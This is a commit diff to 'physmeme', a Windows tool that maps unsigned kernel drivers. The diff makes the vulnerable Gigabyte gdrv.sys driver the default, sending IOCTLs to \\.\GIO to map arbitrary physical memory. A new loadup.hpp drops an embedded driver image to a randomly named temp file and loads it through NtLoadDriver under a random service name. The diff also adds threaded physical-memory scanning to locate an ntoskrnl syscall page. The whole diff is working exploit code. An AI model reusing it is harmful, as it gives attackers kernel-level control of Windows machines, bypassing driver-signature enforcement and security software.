- added loadup.hpp

- changed examples
- changed code to use gdrv by default since physmem64.sys doesnt work on
  windows 10 - 2004

demo/gdrv/physmeme.hpp

@@ -2,125 +2,91 @@
 #include <windows.h>
 #include <mutex>
 #include <cstdint>
-#include <filesystem>
-#include <iostream>
 #include <map>
 
+#include "../util/util.hpp"
+#include "../loadup.hpp"
+#include "../raw_driver.hpp"
+
 #pragma pack ( push, 1 )
 typedef struct _GIOMAP
 {
 	unsigned long	interface_type;
 	unsigned long	bus;
-	uintptr_t		physical_address;
+	std::uintptr_t  physical_address;
 	unsigned long	io_space;
 	unsigned long	size;
 } GIOMAP;
 #pragma pack ( pop )
 
-constexpr char driver_name[] = "gdrv";
-inline const char* driver_path = (std::filesystem::current_path().string() + "\\driver\\gdrv.sys").c_str();
-
 namespace physmeme
 {
-	/*
-	    please code this function depending on your method of physical read/write.
-    */
+	inline std::string drv_key;
+
+	//
+	// please code this function depending on your method of physical read/write.
+	//
 	inline HANDLE load_drv()
 	{
-		const SC_HANDLE manager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
-
-		if (!manager)
-			return false;
-
-		SC_HANDLE service_handle = CreateService(manager,
-			driver_name,
-			driver_name,
-			SERVICE_START | SERVICE_STOP | DELETE, SERVICE_KERNEL_DRIVER,
-			SERVICE_DEMAND_START,
-			SERVICE_ERROR_IGNORE,
-			driver_path, nullptr, nullptr, nullptr, nullptr, nullptr);
-
-		if (!service_handle)
-			service_handle = OpenService(manager, driver_name, SERVICE_START);
-
-		if (!service_handle)
-		{
-			CloseServiceHandle(manager);
-			return false;
-		}
-
-		bool result = StartService(service_handle, 0, nullptr);
-
-		if (!result)
-			printf("[-] failed to start service, last_error=%d\n", GetLastError());
-
-		CloseServiceHandle(service_handle);
-		CloseServiceHandle(manager);
-
-		auto handle = CreateFile("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
-		std::cout << "[+] service started, handle: " << handle << std::endl;
-		return handle;
+		const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver));
+		drv_key = key;
+
+		return CreateFile(
+			"\\\\.\\GIO",
+			GENERIC_READ | GENERIC_WRITE, 
+			NULL,
+			NULL,
+			OPEN_EXISTING, 
+			FILE_ATTRIBUTE_NORMAL, 
+			NULL
+		);
 	}
 
-	inline HANDLE drv_handle = load_drv();
-
-	/*
-		please code this function depending on your method of physical read/write.
-	*/
+	//
+	// please code this function depending on your method of physical read/write.
+	//
 	inline bool unload_drv()
 	{
-		const SC_HANDLE manager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
-
-		if (!manager)
-			return false;
-
-		const SC_HANDLE service_handle = OpenService(manager, driver_name, SERVICE_STOP | DELETE);
-		if (!service_handle)
-		{
-			CloseServiceHandle(manager);
-			return false;
-		}
-
-		SERVICE_STATUS status = { 0 };
-		bool result = ControlService(service_handle, SERVICE_CONTROL_STOP, &status);
-
-		DeleteService(service_handle);
-		CloseServiceHandle(service_handle);
-		CloseServiceHandle(manager);
-		return result;
+		return driver::unload(drv_key);
 	}
 
-	/*
-		please code this function depending on your method of physical read/write.
-	*/
+	inline HANDLE drv_handle = load_drv();
+
+	//
+	// please code this function depending on your method of physical read/write.
+	//
 	inline std::uintptr_t map_phys(
 		std::uintptr_t addr,
 		std::size_t size
 	)
 	{
+		//--- ensure the validity of the address we are going to try and map
+		if (!util::is_valid(addr))
+			return NULL;
+
 		GIOMAP in_buffer = { 0, 0, addr, 0, size };
 		uintptr_t out_buffer[2] = { 0 };
 		unsigned long returned = 0;
 		DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
 			reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
 		return out_buffer[0];
+
 	}
 
-	/*
-		please code this function depending on your method of physical read/write.
-	*/
+	//
+	// please code this function depending on your method of physical read/write.
+	//
 	inline bool unmap_phys(
 		std::uintptr_t addr,
 		std::size_t size
 	)
 	{
 		uintptr_t in_buffer = addr;
-		uintptr_t out_buffer[2] = { 0 };
+		uintptr_t out_buffer[2] = {sizeof(out_buffer)};
 
-		unsigned long returned = 0;
+		unsigned long returned = NULL;
 		DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
 			reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
-
 		return out_buffer[0];
 	}
-}
+}

physmeme-lib/loadup.hpp

@@ -0,0 +1,278 @@
+/*
+	MIT License
+
+	Copyright (c) 2020 xerox
+
+	Permission is hereby granted, free of charge, to any person obtaining a copy
+	of this software and associated documentation files (the "Software"), to deal
+	in the Software without restriction, including without limitation the rights
+	to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+	copies of the Software, and to permit persons to whom the Software is
+	furnished to do so, subject to the following conditions:
+
+	The above copyright notice and this permission notice shall be included in all
+	copies or substantial portions of the Software.
+
+	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+	IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+	FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+	AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+	LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+	OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+	SOFTWARE.
+*/
+
+
+#pragma once
+#include <Windows.h>
+#include <Winternl.h>
+#include <string>
+#include <fstream>
+#include <filesystem>
+
+#pragma comment(lib, "ntdll.lib")
+using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
+using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
+
+namespace driver
+{
+	namespace util
+	{
+		inline bool delete_service_entry(const std::string& service_name)
+		{
+			HKEY reg_handle;
+			static const std::string reg_key("System\\CurrentControlSet\\Services\\");
+
+			auto result = RegOpenKeyA(
+				HKEY_LOCAL_MACHINE,
+				reg_key.c_str(),
+				&reg_handle
+			);
+
+			return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
+		}
+
+		inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
+		{
+			HKEY reg_handle;
+			std::string reg_key("System\\CurrentControlSet\\Services\\");
+			reg_key += service_name;
+
+			auto result = RegCreateKeyA(
+				HKEY_LOCAL_MACHINE,
+				reg_key.c_str(),
+				&reg_handle
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			//
+			// set type to 1 (kernel)
+			//
+			constexpr std::uint8_t type_value = 1;
+			result = RegSetValueExA(
+				reg_handle,
+				"Type",
+				NULL,
+				REG_DWORD,
+				&type_value,
+				4u
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			//
+			// set error control to 3
+			//
+			constexpr std::uint8_t error_control_value = 3;
+			result = RegSetValueExA(
+				reg_handle,
+				"ErrorControl",
+				NULL,
+				REG_DWORD,
+				&error_control_value,
+				4u
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			//
+			// set start to 3
+			//
+			constexpr std::uint8_t start_value = 3;
+			result = RegSetValueExA(
+				reg_handle,
+				"Start",
+				NULL,
+				REG_DWORD,
+				&start_value,
+				4u
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			//
+			// set image path to the driver on disk
+			//
+			result = RegSetValueExA(
+				reg_handle,
+				"ImagePath",
+				NULL,
+				REG_SZ,
+				(std::uint8_t*) drv_path.c_str(),
+				drv_path.size()
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			return ERROR_SUCCESS == RegCloseKey(reg_handle);
+		}
+
+		// this function was coded by paracord: https://githacks.org/snippets/4#L94 
+		inline bool enable_privilege(const std::wstring& privilege_name)
+		{
+			HANDLE token_handle = nullptr;
+			if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
+				return false;
+
+			LUID luid{};
+			if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
+				return false;
+
+			TOKEN_PRIVILEGES token_state{};
+			token_state.PrivilegeCount = 1;
+			token_state.Privileges[0].Luid = luid;
+			token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+			if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
+				return false;
+
+			CloseHandle(token_handle);
+			return true;
+		}
+
+		inline std::string get_service_image_path(const std::string& service_name)
+		{
+			HKEY reg_handle;
+			DWORD bytes_read;
+			char image_path[0xFF];
+			static const std::string reg_key("System\\CurrentControlSet\\Services\\");
+
+			auto result = RegOpenKeyA(
+				HKEY_LOCAL_MACHINE,
+				reg_key.c_str(),
+				&reg_handle
+			);
+
+			result = RegGetValueA(
+				reg_handle,
+				service_name.c_str(),
+				"ImagePath",
+				REG_SZ,
+				NULL,
+				image_path,
+				&bytes_read
+			);
+
+			RegCloseKey(reg_handle);
+			return std::string(image_path);
+		}
+	}
+
+	inline bool load(const std::string& drv_path, const std::string& service_name)
+	{
+		if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
+			return false;
+
+		if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
+			return false;
+
+		std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
+		reg_path += service_name;
+
+		static const auto lp_nt_load_drv =
+			::GetProcAddress(
+				GetModuleHandleA("ntdll.dll"),
+				"NtLoadDriver"
+			);
+
+		if (lp_nt_load_drv)
+		{
+			ANSI_STRING driver_rep_path_cstr;
+			UNICODE_STRING driver_reg_path_unicode;
+
+			RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
+			RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
+			return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
+		}
+		return false;
+	}
+
+	inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
+	{
+		static const auto random_file_name = [](std::size_t length) -> std::string
+		{
+			static const auto randchar = []() -> char
+			{
+				const char charset[] =
+					"0123456789"
+					"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+					"abcdefghijklmnopqrstuvwxyz";
+				const std::size_t max_index = (sizeof(charset) - 1);
+				return charset[rand() % max_index];
+			};
+			std::string str(length, 0);
+			std::generate_n(str.begin(), length, randchar);
+			return str;
+		};
+
+		const auto service_name = random_file_name(16);
+		const auto file_path = std::filesystem::temp_directory_path().string() + random_file_name(16);
+		std::ofstream output_file(file_path.c_str(), std::ios::binary);
+
+		output_file.write((char*)drv_buffer.data(), drv_buffer.size());
+		output_file.close();
+
+		return { load(file_path, service_name), service_name };
+	}
+
+	inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
+	{
+		std::vector<std::uint8_t> image(buffer, buffer + size);
+		return load(image);
+	}
+
+	inline bool unload(const std::string& service_name)
+	{
+		std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
+		reg_path += service_name;
+
+		static const auto lp_nt_unload_drv =
+			::GetProcAddress(
+				GetModuleHandleA("ntdll.dll"),
+				"NtUnloadDriver"
+			);
+
+		if (lp_nt_unload_drv)
+		{
+			ANSI_STRING driver_rep_path_cstr;
+			UNICODE_STRING driver_reg_path_unicode;
+
+			RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
+			RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
+
+			const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
+			const auto image_path = util::get_service_image_path(service_name);
+			const bool delete_drv = std::filesystem::remove(image_path);
+			const bool delete_reg = util::delete_service_entry(service_name);
+
+			return unload_drv && delete_drv && delete_reg;
+		}
+		return false;
+	}
+}

physmeme-lib/physmeme-lib.vcxproj

@@ -164,8 +164,10 @@
   <ItemGroup>
     <ClInclude Include="drv_image\drv_image.h" />
     <ClInclude Include="kernel_ctx\kernel_ctx.h" />
+    <ClInclude Include="loadup.hpp" />
     <ClInclude Include="map_driver.hpp" />
     <ClInclude Include="physmeme\physmeme.hpp" />
+    <ClInclude Include="raw_driver.hpp" />
     <ClInclude Include="util\hook.hpp" />
     <ClInclude Include="util\nt.hpp" />
     <ClInclude Include="util\util.hpp" />

physmeme-lib/physmeme-lib.vcxproj.filters

@@ -61,5 +61,11 @@
     <ClInclude Include="map_driver.hpp">
       <Filter>Header Files</Filter>
     </ClInclude>
+    <ClInclude Include="loadup.hpp">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+    <ClInclude Include="raw_driver.hpp">
+      <Filter>Header Files</Filter>
+    </ClInclude>
   </ItemGroup>
 </Project>

physmeme-lib/physmeme/physmeme.hpp

@@ -5,67 +5,87 @@
 #include <map>
 
 #include "../util/util.hpp"
+#include "../loadup.hpp"
+#include "../raw_driver.hpp"
+
+#pragma pack ( push, 1 )
+typedef struct _GIOMAP
+{
+	unsigned long	interface_type;
+	unsigned long	bus;
+	std::uintptr_t  physical_address;
+	unsigned long	io_space;
+	unsigned long	size;
+} GIOMAP;
+#pragma pack ( pop )
 
 namespace physmeme
 {
+	inline std::string drv_key;
+
 	//
 	// please code this function depending on your method of physical read/write.
 	//
-	static std::uintptr_t map_phys(
-		std::uintptr_t addr,
-		std::size_t size
-	)
+	inline HANDLE load_drv()
 	{
-		//--- ensure the validity of the address we are going to try and map
-		if (!util::is_valid(addr))
-			return NULL;
+		const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver));
+		drv_key = key;
 
-		static const auto map_phys_ptr =
-			reinterpret_cast<__int64(__fastcall*)(__int64, unsigned)>(
-				GetProcAddress(LoadLibrary("pmdll64.dll"), "MapPhyMem"));
-		return map_phys_ptr ? map_phys_ptr(addr, size) : false;
+		return CreateFile(
+			"\\\\.\\GIO",
+			GENERIC_READ | GENERIC_WRITE, 
+			NULL,
+			NULL,
+			OPEN_EXISTING, 
+			FILE_ATTRIBUTE_NORMAL, 
+			NULL
+		);
 	}
 
 	//
 	// please code this function depending on your method of physical read/write.
 	//
-	static bool unmap_phys(
-		std::uintptr_t addr,
-		std::size_t size
-	)
+	inline bool unload_drv()
 	{
-		static const auto unmap_phys_ptr =
-			reinterpret_cast<__int64(*)(__int64, unsigned)>(
-				GetProcAddress(LoadLibrary("pmdll64.dll"), "UnmapPhyMem"));
-		return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false;
+		return driver::unload(drv_key);
 	}
 
+	inline HANDLE drv_handle = load_drv();
+
 	//
 	// please code this function depending on your method of physical read/write.
 	//
-	static HANDLE load_drv()
+	inline std::uintptr_t map_phys(
+		std::uintptr_t addr,
+		std::size_t size
+	)
 	{
-		static const auto load_driver_ptr =
-			reinterpret_cast<__int64(*)()>(
-				GetProcAddress(LoadLibrary("pmdll64.dll"), "LoadPhyMemDriver"));
-
-		if (load_driver_ptr)
-			load_driver_ptr();
+		//--- ensure the validity of the address we are going to try and map
+		if (!util::is_valid(addr))
+			return NULL;
 
-		//--- i dont ever use this handle, its just an example of what you should do.
-		return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64);
+		GIOMAP in_buffer = { 0, 0, addr, 0, size };
+		uintptr_t out_buffer[2] = { 0 };
+		unsigned long returned = 0;
+		DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
+			reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
+		return out_buffer[0];
 	}
 
 	//
 	// please code this function depending on your method of physical read/write.
 	//
-	static bool unload_drv()
+	inline bool unmap_phys(
+		std::uintptr_t addr,
+		std::size_t size
+	)
 	{
-		static const auto unload_driver_ptr =
-			reinterpret_cast<__int64(*)()>(
-				GetProcAddress(LoadLibrary("pmdll64.dll"), "UnloadPhyMemDriver"));
-		return unload_driver_ptr ? unload_driver_ptr() : false;
-	}
+		uintptr_t in_buffer = addr;
+		uintptr_t out_buffer[2] = {sizeof(out_buffer)};
 
-	static HANDLE drv_handle = load_drv();
-}
+		unsigned long returned = NULL;
+		DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
+			reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
+		return out_buffer[0];
+	}
+}

physmeme/kernel_ctx/kernel_ctx.cpp

@@ -21,10 +21,21 @@ namespace physmeme
 
 		printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset);
 		printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer);
-		printf("[!] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva);
+		printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva);
 
+		std::vector<std::thread> search_threads;
+		//--- for each physical memory range, make a thread to search it
 		for (auto ranges : util::pmem_ranges)
-			map_syscall(ranges.first, ranges.second);
+			search_threads.emplace_back(std::thread(
+				&kernel_ctx::map_syscall,
+				this,
+				ranges.first,
+				ranges.second
+			));
+
+		for (std::thread& search_thread : search_threads)
+			search_thread.join();
+
 
 		printf("[+] psyscall_func: 0x%p\n", psyscall_func.load());
 	}

physmeme/loadup.hpp

@@ -0,0 +1,278 @@
+/*
+	MIT License
+
+	Copyright (c) 2020 xerox
+
+	Permission is hereby granted, free of charge, to any person obtaining a copy
+	of this software and associated documentation files (the "Software"), to deal
+	in the Software without restriction, including without limitation the rights
+	to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+	copies of the Software, and to permit persons to whom the Software is
+	furnished to do so, subject to the following conditions:
+
+	The above copyright notice and this permission notice shall be included in all
+	copies or substantial portions of the Software.
+
+	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+	IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+	FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+	AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+	LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+	OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+	SOFTWARE.
+*/
+
+
+#pragma once
+#include <Windows.h>
+#include <Winternl.h>
+#include <string>
+#include <fstream>
+#include <filesystem>
+
+#pragma comment(lib, "ntdll.lib")
+using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
+using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
+
+namespace driver
+{
+	namespace util
+	{
+		inline bool delete_service_entry(const std::string& service_name)
+		{
+			HKEY reg_handle;
+			static const std::string reg_key("System\\CurrentControlSet\\Services\\");
+
+			auto result = RegOpenKeyA(
+				HKEY_LOCAL_MACHINE,
+				reg_key.c_str(),
+				&reg_handle
+			);
+
+			return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
+		}
+
+		inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
+		{
+			HKEY reg_handle;
+			std::string reg_key("System\\CurrentControlSet\\Services\\");
+			reg_key += service_name;
+
+			auto result = RegCreateKeyA(
+				HKEY_LOCAL_MACHINE,
+				reg_key.c_str(),
+				&reg_handle
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			//
+			// set type to 1 (kernel)
+			//
+			constexpr std::uint8_t type_value = 1;
+			result = RegSetValueExA(
+				reg_handle,
+				"Type",
+				NULL,
+				REG_DWORD,
+				&type_value,
+				4u
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			//
+			// set error control to 3
+			//
+			constexpr std::uint8_t error_control_value = 3;
+			result = RegSetValueExA(
+				reg_handle,
+				"ErrorControl",
+				NULL,
+				REG_DWORD,
+				&error_control_value,
+				4u
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			//
+			// set start to 3
+			//
+			constexpr std::uint8_t start_value = 3;
+			result = RegSetValueExA(
+				reg_handle,
+				"Start",
+				NULL,
+				REG_DWORD,
+				&start_value,
+				4u
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			//
+			// set image path to the driver on disk
+			//
+			result = RegSetValueExA(
+				reg_handle,
+				"ImagePath",
+				NULL,
+				REG_SZ,
+				(std::uint8_t*) drv_path.c_str(),
+				drv_path.size()
+			);
+
+			if (result != ERROR_SUCCESS)
+				return false;
+
+			return ERROR_SUCCESS == RegCloseKey(reg_handle);
+		}
+
+		// this function was coded by paracord: https://githacks.org/snippets/4#L94 
+		inline bool enable_privilege(const std::wstring& privilege_name)
+		{
+			HANDLE token_handle = nullptr;
+			if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
+				return false;
+
+			LUID luid{};
+			if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
+				return false;
+
+			TOKEN_PRIVILEGES token_state{};
+			token_state.PrivilegeCount = 1;
+			token_state.Privileges[0].Luid = luid;
+			token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+			if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
+				return false;
+
+			CloseHandle(token_handle);
+			return true;
+		}
+
+		inline std::string get_service_image_path(const std::string& service_name)
+		{
+			HKEY reg_handle;
+			DWORD bytes_read;
+			char image_path[0xFF];
+			static const std::string reg_key("System\\CurrentControlSet\\Services\\");
+
+			auto result = RegOpenKeyA(
+				HKEY_LOCAL_MACHINE,
+				reg_key.c_str(),
+				&reg_handle
+			);
+
+			result = RegGetValueA(
+				reg_handle,
+				service_name.c_str(),
+				"ImagePath",
+				REG_SZ,
+				NULL,
+				image_path,
+				&bytes_read
+			);
+
+			RegCloseKey(reg_handle);
+			return std::string(image_path);
+		}
+	}
+
+	inline bool load(const std::string& drv_path, const std::string& service_name)
+	{
+		if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
+			return false;
+
+		if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
+			return false;
+
+		std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
+		reg_path += service_name;
+
+		static const auto lp_nt_load_drv =
+			::GetProcAddress(
+				GetModuleHandleA("ntdll.dll"),
+				"NtLoadDriver"
+			);
+
+		if (lp_nt_load_drv)
+		{
+			ANSI_STRING driver_rep_path_cstr;
+			UNICODE_STRING driver_reg_path_unicode;
+
+			RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
+			RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
+			return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
+		}
+		return false;
+	}
+
+	inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
+	{
+		static const auto random_file_name = [](std::size_t length) -> std::string
+		{
+			static const auto randchar = []() -> char
+			{
+				const char charset[] =
+					"0123456789"
+					"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+					"abcdefghijklmnopqrstuvwxyz";
+				const std::size_t max_index = (sizeof(charset) - 1);
+				return charset[rand() % max_index];
+			};
+			std::string str(length, 0);
+			std::generate_n(str.begin(), length, randchar);
+			return str;
+		};
+
+		const auto service_name = random_file_name(16);
+		const auto file_path = std::filesystem::temp_directory_path().string() + random_file_name(16);
+		std::ofstream output_file(file_path.c_str(), std::ios::binary);
+
+		output_file.write((char*)drv_buffer.data(), drv_buffer.size());
+		output_file.close();
+
+		return { load(file_path, service_name), service_name };
+	}
+
+	inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
+	{
+		std::vector<std::uint8_t> image(buffer, buffer + size);
+		return load(image);
+	}
+
+	inline bool unload(const std::string& service_name)
+	{
+		std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
+		reg_path += service_name;
+
+		static const auto lp_nt_unload_drv =
+			::GetProcAddress(
+				GetModuleHandleA("ntdll.dll"),
+				"NtUnloadDriver"
+			);
+
+		if (lp_nt_unload_drv)
+		{
+			ANSI_STRING driver_rep_path_cstr;
+			UNICODE_STRING driver_reg_path_unicode;
+
+			RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
+			RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
+
+			const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
+			const auto image_path = util::get_service_image_path(service_name);
+			const bool delete_drv = std::filesystem::remove(image_path);
+			const bool delete_reg = util::delete_service_entry(service_name);
+
+			return unload_drv && delete_drv && delete_reg;
+		}
+		return false;
+	}
+}

physmeme/physmeme.vcxproj

@@ -164,7 +164,9 @@
   <ItemGroup>
     <ClInclude Include="drv_image\drv_image.h" />
     <ClInclude Include="kernel_ctx\kernel_ctx.h" />
+    <ClInclude Include="loadup.hpp" />
     <ClInclude Include="physmeme\physmeme.hpp" />
+    <ClInclude Include="raw_driver.hpp" />
     <ClInclude Include="util\hook.hpp" />
     <ClInclude Include="util\nt.hpp" />
     <ClInclude Include="util\util.hpp" />

physmeme/physmeme.vcxproj.filters

@@ -58,5 +58,11 @@
     <ClInclude Include="physmeme\physmeme.hpp">
       <Filter>Header Files\physmeme</Filter>
     </ClInclude>
+    <ClInclude Include="loadup.hpp">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+    <ClInclude Include="raw_driver.hpp">
+      <Filter>Header Files</Filter>
+    </ClInclude>
   </ItemGroup>
 </Project>

physmeme/physmeme/physmeme.hpp

@@ -5,67 +5,88 @@
 #include <map>
 
 #include "../util/util.hpp"
+#include "../loadup.hpp"
+#include "../raw_driver.hpp"
+
+#pragma pack ( push, 1 )
+typedef struct _GIOMAP
+{
+	unsigned long	interface_type;
+	unsigned long	bus;
+	std::uintptr_t  physical_address;
+	unsigned long	io_space;
+	unsigned long	size;
+} GIOMAP;
+#pragma pack ( pop )
 
 namespace physmeme
 {
+	inline std::string drv_key;
+
 	//
 	// please code this function depending on your method of physical read/write.
 	//
-	static std::uintptr_t map_phys(
-		std::uintptr_t addr,
-		std::size_t size
-	)
+	inline HANDLE load_drv()
 	{
-		//--- ensure the validity of the address we are going to try and map
-		if (!util::is_valid(addr))
-			return NULL;
+		const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver));
+		drv_key = key;
 
-		static const auto map_phys_ptr =
-			reinterpret_cast<__int64(__fastcall*)(__int64, unsigned)>(
-				GetProcAddress(LoadLibrary("pmdll64.dll"), "MapPhyMem"));
-		return map_phys_ptr ? map_phys_ptr(addr, size) : false;
+		return CreateFile(
+			"\\\\.\\GIO",
+			GENERIC_READ | GENERIC_WRITE, 
+			NULL,
+			NULL,
+			OPEN_EXISTING, 
+			FILE_ATTRIBUTE_NORMAL, 
+			NULL
+		);
 	}
 
 	//
 	// please code this function depending on your method of physical read/write.
 	//
-	static bool unmap_phys(
-		std::uintptr_t addr,
-		std::size_t size
-	)
+	inline bool unload_drv()
 	{
-		static const auto unmap_phys_ptr =
-			reinterpret_cast<__int64(*)(__int64, unsigned)>(
-				GetProcAddress(LoadLibrary("pmdll64.dll"), "UnmapPhyMem"));
-		return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false;
+		return driver::unload(drv_key);
 	}
 
+	inline HANDLE drv_handle = load_drv();
+
 	//
 	// please code this function depending on your method of physical read/write.
 	//
-	static HANDLE load_drv()
+	inline std::uintptr_t map_phys(
+		std::uintptr_t addr,
+		std::size_t size
+	)
 	{
-		static const auto load_driver_ptr =
-			reinterpret_cast<__int64(*)()>(
-				GetProcAddress(LoadLibrary("pmdll64.dll"), "LoadPhyMemDriver"));
+		//--- ensure the validity of the address we are going to try and map
+		if (!util::is_valid(addr))
+			return NULL;
 
-		if (load_driver_ptr)
-			load_driver_ptr();
+		GIOMAP in_buffer = { 0, 0, addr, 0, size };
+		uintptr_t out_buffer[2] = { 0 };
+		unsigned long returned = 0;
+		DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
+			reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
+		return out_buffer[0];
 
-		//--- i dont ever use this handle, its just an example of what you should do.
-		return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64);
 	}
 
 	//
 	// please code this function depending on your method of physical read/write.
 	//
-	static bool unload_drv()
+	inline bool unmap_phys(
+		std::uintptr_t addr,
+		std::size_t size
+	)
 	{
-		static const auto unload_driver_ptr =
-			reinterpret_cast<__int64(*)()>(
-				GetProcAddress(LoadLibrary("pmdll64.dll"), "UnloadPhyMemDriver"));
-		return unload_driver_ptr ? unload_driver_ptr() : false;
-	}
